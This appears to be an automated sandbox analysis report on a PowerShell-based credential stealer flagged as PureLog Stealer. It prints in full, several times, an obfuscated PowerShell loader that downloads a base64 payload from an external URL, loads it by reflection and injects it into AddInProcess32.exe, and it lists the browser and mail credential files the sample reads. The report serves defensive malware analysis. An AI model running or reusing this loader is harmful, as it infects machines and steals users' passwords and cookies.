Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 1159008	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: RegSetValueExA,CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle, explorer.exe

5_2_0041405F

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LigoR3YgJypNRHIqJykubmFNRVszLDExLDJdLUpvaW4nJykgKCgnZGsnKyc3dScrJ3JsICcrJz0gWVNEaHR0cHM6Ly9pYTYwMDEwMC51cycrJy5hJysncmNoaXZlLm9yZy8yJysnNCcrJy8nKydpdGVtcy9kZXQnKydhaC0nKydub3RlLXYvJysnRGV0YWgnKydOJysnb3RlVi50JysneHQnKydZU0QnKyc7ZGs3JysnYicrJ2FzZScrJzY0Q28nKydudGVuJysndCcrJyA9ICcrJyhOZScrJ3ctTycrJ2JqZScrJ2N0ICcrJ1MnKyd5cycrJ3RlJysnbS5OZScrJ3QuV2ViQycrJ2xpZScrJ250KS5Eb3dubG8nKydhJysnZFMnKyd0cmluJysnZyhkJysnazd1JysncmwnKycpO2QnKydrJysnN2JpJysnbicrJ2FyeUNvJysnbicrJ3RlbicrJ3QgPSAnKydbU3lzdGUnKydtLkNvbnZlcnQnKyddOicrJzonKydGcicrJ29tQmFzZTY0UycrJ3RyaScrJ25nKGQnKydrJysnN2JhcycrJ2U2JysnNENvbnRlbicrJ3QpO2RrNycrJ2FzcycrJ2VtJysnYmwnKyd5ID0nKycgWycrJ1InKydlZmxlY3QnKydpb24uQXMnKydzJysnZW1ibHldOicrJzpMJysnb2EnKydkKGRrN2JpbicrJ2FyeScrJ0NvJysnbnRlbnQpOycrJ2RrN3R5JysncCcrJ2UgPSAnKydkaycrJzcnKydhcycrJ3NlJysnbWJseS5HZScrJ3RUeXBlKCcrJ1knKydTRFJ1JysnblAnKydFJysnLkhvbScrJ2VZJysnU0QnKycpO2RrN21ldGhvZCA9JysnIGRrNycrJ3R5cGUuJysnRycrJ2UnKyd0TWV0aCcrJ29kKFlTRFZBSVlTRCknKyc7ZGs3bWV0JysnaCcrJ28nKydkLkknKydudm9rZSgnKydkazduJysndWxsLCcrJyBbb2JqJysnZWN0W11dJysnQCgnKydZU0QnKyd0eHQuJysnZXknKyduby92JysnZWQuMnIuMzliMzQnKyc1MzAyYTAnKyc3NWIxYmMnKycwJysnZDQnKyc1YicrJzYzMicrJ2ViOScrJ2UnKydlNjInKyctYnUnKydwLycrJy86c3B0JysndGhZU0QgLCcrJyBZU0QnKydkZXNhdCcrJ2knKyd2JysnYWQnKydvWVMnKydEICwnKycgJysnWVNEJysnZCcrJ2VzYScrJ3RpJysndmFkbycrJ1knKydTRCcrJyAsICcrJ1lTRGRlc2F0aXZhZG9ZJysnUycrJ0QnKycsWScrJ1NEQWRkJysnSW5QJysncm8nKydjZXNzMycrJzJZU0QsWVNEWVNEJysnKSknKS5yRVBMYUNFKCdkazcnLFtzdFJpTmddW0NoYVJdMzYpLnJFUExhQ0UoJ1lTRCcsW3N0UmlOZ11bQ2hhUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".((Gv 'MDr').naME[3,11,2]-Join'') (('dk'+'7u'+'rl '+'= YSDhttps://ia600100.us'+'.a'+'rchive.org/2'+'4'+'/'+'items/det'+'ah-'+'note-v/'+'Detah'+'N'+'oteV.t'+'xt'+'YSD'+';dk7'+'b'+'ase'+'64Co'+'nten'+'t'+' = '+'(Ne'+'w-O'+'bje'+'ct '+'S'+'ys'+'te'+'m.Ne'+'t.WebC'+'lie'+'nt).Downlo'+'a'+'dS'+'trin'+'g(d'+'k7u'+'rl'+');d'+'k'+'7bi'+'n'+'aryCo'+'n'+'ten'+'t = '+'[Syste'+'m.Convert'+']:'+':'+'Fr'+'omBase64S'+'tri'+'ng(d'+'k'+'7bas'+'e6'+'4Conten'+'t);dk7'+'ass'+'em'+'bl'+'y ='+' ['+'R'+'eflect'+'ion.As'+'s'+'embly]:'+':L'+'oa'+'d(dk7bin'+'ary'+'Co'+'ntent);'+'dk7ty'+'p'+'e = '+'dk'+'7'+'as'+'se'+'mbly.Ge'+'tType('+'Y'+'SDRu'+'nP'+'E'+'.Hom'+'eY'+'SD'+');dk7method ='+' dk7'+'type.'+'G'+'e'+'tMeth'+'od(YSDVAIYSD)'+';dk7met'+'h'+'o'+'d.I'+'nvoke('+'dk7n'+'ull,'+' [obj'+'ect[]]'+'@('+'YSD'+'txt.'+'ey'+'no/v'+'ed.2r.39b34'+'5302a0'+'75b1bc'+'0'+'d4'+'5b'+'632'+'eb9'+'e'+'e62'+'-bu'+'p/'+'/:spt'+'thYSD ,'+' YSD'+'desat'+'i'+'v'+'ad'+'oYS'+'D ,'+' '+'YSD'+'d'+'esa'+'ti'+'vado'+'Y'+'SD'+' , '+'YSDdesativadoY'+'S'+'D'+',Y'+'SDAdd'+'InP'+'ro'+'cess3'+'2YSD,YSDYSD'+'))').rEPLaCE('dk7',[stRiNg][ChaR]36).rEPLaCE('YSD',[stRiNg][ChaR]39) )"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'ligor3ygjypnrhiqjykubmfnrvszldexldjdlupvaw4njykgkcgnzgsnkyc3dscrj3jsiccrjz0gwvneahr0chm6ly9pytywmdewmc51cycrjy5hjysncmnoaxzllm9yzy8yjysnnccrjy8nkydpdgvtcy9kzxqnkydhac0nkydub3rllxyvjysnrgv0ywgnkydojysnb3rlvi50jysnehqnkydzu0qnkyc7zgs3jysnyicrj2fzzscrjzy0q28nkydudgvujysndccrjya9iccrjyhozscrj3cttycrj2jqzscrj2n0iccrj1mnkyd5cycrj3rljysnbs5ozscrj3quv2viqycrj2xpzscrj250ks5eb3dubg8nkydhjysnzfmnkyd0cmlujysnzyhkjysnazd1jysncmwnkycpo2qnkydrjysnn2jpjysnbicrj2fyeunvjysnbicrj3rlbicrj3qgpsankydbu3lzdgunkydtlknvbnzlcnqnkyddoicrjzonkydgcicrj29tqmfzzty0uycrj3ryascrj25nkgqnkydrjysnn2jhcycrj2u2jysnnenvbnrlbicrj3qpo2rrnycrj2fzcycrj2vtjysnymwnkyd5id0nkycgwycrj1inkydlzmxly3qnkydpb24uqxmnkydzjysnzw1ibhldoicrjzpmjysnb2enkydkkgrrn2jpbicrj2fyescrj0nvjysnbnrlbnqpoycrj2rrn3r5jysncccrj2ugpsankydkaycrjzcnkydhcycrj3nljysnbwjses5hzscrj3ruexblkccrj1knkydtrfj1jysnblankydfjysnlkhvbscrj2vzjysnu0qnkycpo2rrn21ldghvzca9jysnigrrnycrj3r5cguujysnrycrj2unkyd0twv0accrj29kkfltrfzbsvltrcknkyc7zgs3bwv0jysnaccrj28nkydklkknkydudm9rzsgnkydkazdujysndwxslccrjybbb2jqjysnzwn0w11djysnqcgnkydzu0qnkyd0ehqujysnzxknkyduby92jysnzwqumniumzlimzqnkyc1mzayytankyc3nwixymmnkycwjysnzdqnkyc1yicrjzyzmicrj2vioscrj2unkydlnjinkyctynunkydwlycrjy86c3b0jysndghzu0qglccrjybzu0qnkydkzxnhdccrj2knkyd2jysnywqnkydvwvmnkydeicwnkycgjysnwvnejysnzccrj2vzyscrj3rpjysndmfkbycrj1knkydtrccrjyasiccrj1ltrgrlc2f0axzhzg9zjysnuycrj0qnkycswscrj1neqwrkjysnsw5qjysncm8nkydjzxnzmycrjzjzu0qswvnewvnejysnksknks5yrvbmyunfkcdkazcnlftzdfjptmddw0noyvjdmzyplnjfuexhq0uoj1ltrccsw3n0umloz11bq2hhul0zoskgkq==';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command ".((gv 'mdr').name[3,11,2]-join'') (('dk'+'7u'+'rl '+'= ysdhttps://ia600100.us'+'.a'+'rchive.org/2'+'4'+'/'+'items/det'+'ah-'+'note-v/'+'detah'+'n'+'otev.t'+'xt'+'ysd'+';dk7'+'b'+'ase'+'64co'+'nten'+'t'+' = '+'(ne'+'w-o'+'bje'+'ct '+'s'+'ys'+'te'+'m.ne'+'t.webc'+'lie'+'nt).downlo'+'a'+'ds'+'trin'+'g(d'+'k7u'+'rl'+');d'+'k'+'7bi'+'n'+'aryco'+'n'+'ten'+'t = '+'[syste'+'m.convert'+']:'+':'+'fr'+'ombase64s'+'tri'+'ng(d'+'k'+'7bas'+'e6'+'4conten'+'t);dk7'+'ass'+'em'+'bl'+'y ='+' ['+'r'+'eflect'+'ion.as'+'s'+'embly]:'+':l'+'oa'+'d(dk7bin'+'ary'+'co'+'ntent);'+'dk7ty'+'p'+'e = '+'dk'+'7'+'as'+'se'+'mbly.ge'+'ttype('+'y'+'sdru'+'np'+'e'+'.hom'+'ey'+'sd'+');dk7method ='+' dk7'+'type.'+'g'+'e'+'tmeth'+'od(ysdvaiysd)'+';dk7met'+'h'+'o'+'d.i'+'nvoke('+'dk7n'+'ull,'+' [obj'+'ect[]]'+'@('+'ysd'+'txt.'+'ey'+'no/v'+'ed.2r.39b34'+'5302a0'+'75b1bc'+'0'+'d4'+'5b'+'632'+'eb9'+'e'+'e62'+'-bu'+'p/'+'/:spt'+'thysd ,'+' ysd'+'desat'+'i'+'v'+'ad'+'oys'+'d ,'+' '+'ysd'+'d'+'esa'+'ti'+'vado'+'y'+'sd'+' , '+'ysddesativadoy'+'s'+'d'+',y'+'sdadd'+'inp'+'ro'+'cess3'+'2ysd,ysdysd'+'))').replace('dk7',[string][char]36).replace('ysd',[string][char]39) )"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'ligor3ygjypnrhiqjykubmfnrvszldexldjdlupvaw4njykgkcgnzgsnkyc3dscrj3jsiccrjz0gwvneahr0chm6ly9pytywmdewmc51cycrjy5hjysncmnoaxzllm9yzy8yjysnnccrjy8nkydpdgvtcy9kzxqnkydhac0nkydub3rllxyvjysnrgv0ywgnkydojysnb3rlvi50jysnehqnkydzu0qnkyc7zgs3jysnyicrj2fzzscrjzy0q28nkydudgvujysndccrjya9iccrjyhozscrj3cttycrj2jqzscrj2n0iccrj1mnkyd5cycrj3rljysnbs5ozscrj3quv2viqycrj2xpzscrj250ks5eb3dubg8nkydhjysnzfmnkyd0cmlujysnzyhkjysnazd1jysncmwnkycpo2qnkydrjysnn2jpjysnbicrj2fyeunvjysnbicrj3rlbicrj3qgpsankydbu3lzdgunkydtlknvbnzlcnqnkyddoicrjzonkydgcicrj29tqmfzzty0uycrj3ryascrj25nkgqnkydrjysnn2jhcycrj2u2jysnnenvbnrlbicrj3qpo2rrnycrj2fzcycrj2vtjysnymwnkyd5id0nkycgwycrj1inkydlzmxly3qnkydpb24uqxmnkydzjysnzw1ibhldoicrjzpmjysnb2enkydkkgrrn2jpbicrj2fyescrj0nvjysnbnrlbnqpoycrj2rrn3r5jysncccrj2ugpsankydkaycrjzcnkydhcycrj3nljysnbwjses5hzscrj3ruexblkccrj1knkydtrfj1jysnblankydfjysnlkhvbscrj2vzjysnu0qnkycpo2rrn21ldghvzca9jysnigrrnycrj3r5cguujysnrycrj2unkyd0twv0accrj29kkfltrfzbsvltrcknkyc7zgs3bwv0jysnaccrj28nkydklkknkydudm9rzsgnkydkazdujysndwxslccrjybbb2jqjysnzwn0w11djysnqcgnkydzu0qnkyd0ehqujysnzxknkyduby92jysnzwqumniumzlimzqnkyc1mzayytankyc3nwixymmnkycwjysnzdqnkyc1yicrjzyzmicrj2vioscrj2unkydlnjinkyctynunkydwlycrjy86c3b0jysndghzu0qglccrjybzu0qnkydkzxnhdccrj2knkyd2jysnywqnkydvwvmnkydeicwnkycgjysnwvnejysnzccrj2vzyscrj3rpjysndmfkbycrj1knkydtrccrjyasiccrj1ltrgrlc2f0axzhzg9zjysnuycrj0qnkycswscrj1neqwrkjysnsw5qjysncm8nkydjzxnzmycrjzjzu0qswvnewvnejysnksknks5yrvbmyunfkcdkazcnlftzdfjptmddw0noyvjdmzyplnjfuexhq0uoj1ltrccsw3n0umloz11bq2hhul0zoskgkq==';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command ".((gv 'mdr').name[3,11,2]-join'') (('dk'+'7u'+'rl '+'= ysdhttps://ia600100.us'+'.a'+'rchive.org/2'+'4'+'/'+'items/det'+'ah-'+'note-v/'+'detah'+'n'+'otev.t'+'xt'+'ysd'+';dk7'+'b'+'ase'+'64co'+'nten'+'t'+' = '+'(ne'+'w-o'+'bje'+'ct '+'s'+'ys'+'te'+'m.ne'+'t.webc'+'lie'+'nt).downlo'+'a'+'ds'+'trin'+'g(d'+'k7u'+'rl'+');d'+'k'+'7bi'+'n'+'aryco'+'n'+'ten'+'t = '+'[syste'+'m.convert'+']:'+':'+'fr'+'ombase64s'+'tri'+'ng(d'+'k'+'7bas'+'e6'+'4conten'+'t);dk7'+'ass'+'em'+'bl'+'y ='+' ['+'r'+'eflect'+'ion.as'+'s'+'embly]:'+':l'+'oa'+'d(dk7bin'+'ary'+'co'+'ntent);'+'dk7ty'+'p'+'e = '+'dk'+'7'+'as'+'se'+'mbly.ge'+'ttype('+'y'+'sdru'+'np'+'e'+'.hom'+'ey'+'sd'+');dk7method ='+' dk7'+'type.'+'g'+'e'+'tmeth'+'od(ysdvaiysd)'+';dk7met'+'h'+'o'+'d.i'+'nvoke('+'dk7n'+'ull,'+' [obj'+'ect[]]'+'@('+'ysd'+'txt.'+'ey'+'no/v'+'ed.2r.39b34'+'5302a0'+'75b1bc'+'0'+'d4'+'5b'+'632'+'eb9'+'e'+'e62'+'-bu'+'p/'+'/:spt'+'thysd ,'+' ysd'+'desat'+'i'+'v'+'ad'+'oys'+'d ,'+' '+'ysd'+'d'+'esa'+'ti'+'vado'+'y'+'sd'+' , '+'ysddesativadoy'+'s'+'d'+',y'+'sdadd'+'inp'+'ro'+'cess3'+'2ysd,ysdysd'+'))').replace('dk7',[string][char]36).replace('ysd',[string][char]39) )"	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 5_2_00412E91 InitializeSecurityDescriptor,SetSecurityDescriptorDacl,RegCreateKeyExA,RegCloseKey,SetLastError,

5_2_00412E91

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 5_2_00410A8C AllocateAndInitializeSid,LookupAccountSidW,GetLastError,FreeSid,

5_2_00410A8C

Source: AddInProcess32.exe, 00000005.00000002.2627316202.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2627316202.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: AddInProcess32.exe, 00000005.00000002.2627316202.00000000014B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managerm3k
Source: AddInProcess32.exe, 00000005.00000002.2627316202.00000000014B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerU3c
Source: AddInProcess32.exe, 00000005.00000002.2627316202.00000000014B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager]3{
Source: AddInProcess32.exe, 00000005.00000002.2627316202.00000000014B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managere3

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 5_2_00410E5E cpuid

5_2_00410E5E

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 5_2_00408D0F GetModuleHandleA,SHGetFolderPathW,lstrcatW,lstrcatW,CreateDirectoryW,lstrcpyW,lstrcatW,GetLocalTime,wsprintfW,CreateFileW,CloseHandle,RegisterClassW,CreateWindowExW,GetMessageA,GetMessageA,TranslateMessage,DispatchMessageA,GetMessageA,

5_2_00408D0F

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 5_2_6CCCCCC9 memset,GetVersionExA,GetLastError,___swprintf_l,___swprintf_l,

5_2_6CCCCCC9

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Increases the number of concurrent connection per server for Internet Explorer

Lowering of HIPS / PFW / Operating System Security Settings

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings MaxConnectionsPerServer 10

Stealing of Sensitive Information

Source: Yara match	File source: 4.2.powershell.exe.1b2b2de3860.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.AddInProcess32.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.AddInProcess32.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.1b2b2de3860.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.1399989665.000001B2A315C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1415526929.000001B2B2DE3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2626601197.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Yara detected PureLog Stealer

Source: Yara match

File source: 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Source: Yara match	File source: 4.2.powershell.exe.1b2b3937090.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.1b2bb240000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.1b2bb240000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.1b2b3937090.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.1443666553.000001B2BB240000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1415526929.000001B2B3123000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Contains functionality to steal Chrome passwords or cookies

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: \Google\Chrome\User Data\Default\Login Data		5_2_0040B917
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: \Chromium\User Data\Default\Login Data		5_2_0040B917

Contains functionality to steal e-mail passwords

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: POP3 Password	5_2_004099FF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: SMTP Password	5_2_004099FF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: IMAP Password	5_2_004099FF

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\key4.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\logins.json	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\pkcs11.txt	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\dtbqpus9.default\logins.json	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\cert9.db	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: Yara match	File source: 5.2.AddInProcess32.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.AddInProcess32.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.1b2b2de3860.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.1399989665.000001B2A315C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1415526929.000001B2B2DE3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2626601197.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 1352, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 6992, type: MEMORYSTR

Remote Access Functionality

Source: Yara match	File source: 4.2.powershell.exe.1b2b2de3860.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.AddInProcess32.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.AddInProcess32.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.1b2b2de3860.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.1399989665.000001B2A315C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1415526929.000001B2B2DE3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2626601197.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Yara detected PureLog Stealer

Source: Yara match

File source: 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Source: Yara match	File source: 4.2.powershell.exe.1b2b3937090.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.1b2bb240000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.1b2bb240000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.1b2b3937090.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.1443666553.000001B2BB240000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1415526929.000001B2B3123000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CC78DF1 sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	5_2_6CC78DF1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CC78D29 sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	5_2_6CC78D29
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CC9CE08 sqlite3_bind_int64,sqlite3_step,sqlite3_column_int,sqlite3_reset,	5_2_6CC9CE08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CC9AF89 sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_bind_int64,	5_2_6CC9AF89
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CC78F4E sqlite3_bind_int64,sqlite3_bind_int,sqlite3_step,sqlite3_reset,	5_2_6CC78F4E
